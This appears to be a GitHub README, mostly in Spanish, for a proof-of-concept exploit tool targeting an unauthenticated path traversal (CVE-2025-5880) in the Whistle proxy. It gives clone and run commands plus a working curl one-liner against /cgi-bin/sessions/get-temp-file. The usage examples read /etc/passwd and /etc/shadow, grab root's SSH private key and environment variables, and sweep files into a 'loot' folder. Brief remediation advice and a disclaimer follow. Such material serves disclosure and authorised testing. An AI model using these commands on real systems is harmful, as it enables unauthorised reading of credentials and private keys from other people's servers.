
Exploit de prueba de concepto para una vulnerabilidad de path traversal no autenticada en Whistle v2.9.98.
Exploit de prueba de concepto para una vulnerabilidad de path traversal sin autenticación en Whistle v2.9.98.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Software afectado | Whistle ≤ 2.9.98 |
| Endpoint afectado | /cgi-bin/sessions/get-temp-file |
| Vector de ataque | Red — no requiere autenticación |
| Impacto | Lectura arbitraria de archivos en el sistema de archivos del host |
El parámetro de consulta filename no se sanitiza antes de usarse para abrir un archivo en disco, lo que permite a un atacante escapar del directorio temporal previsto y leer cualquier archivo al que el proceso de Whistle tenga permisos de acceso (p. ej. /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Actualice Whistle a una versión que valide y restrinja el parámetro filename al directorio de archivos temporales previsto. Aplique una normalización de rutas con lista blanca (p. ej. path.resolve + comprobación de prefijo) en el servidor.
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
El uso no autorizado contra sistemas que no le pertenecen o para los que no tiene permiso explícito para probar es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el mal uso.
| Flag | Descripción |
|---|
-u / --url | URL base del objetivo (p. ej. http://192.168.1.10:8899) |
-f / --file | Ruta de archivo arbitraria para leer |
--preset | Atajo con nombre: passwd shadow hosts id_rsa … |
--sweep | Iterar automáticamente por todos los presets |
-o / --output | Guardar el resultado en un archivo |
--save-dir | Directorio donde volcar el botín de --sweep |
--timeout | Tiempo de espera HTTP en segundos (por defecto 10) |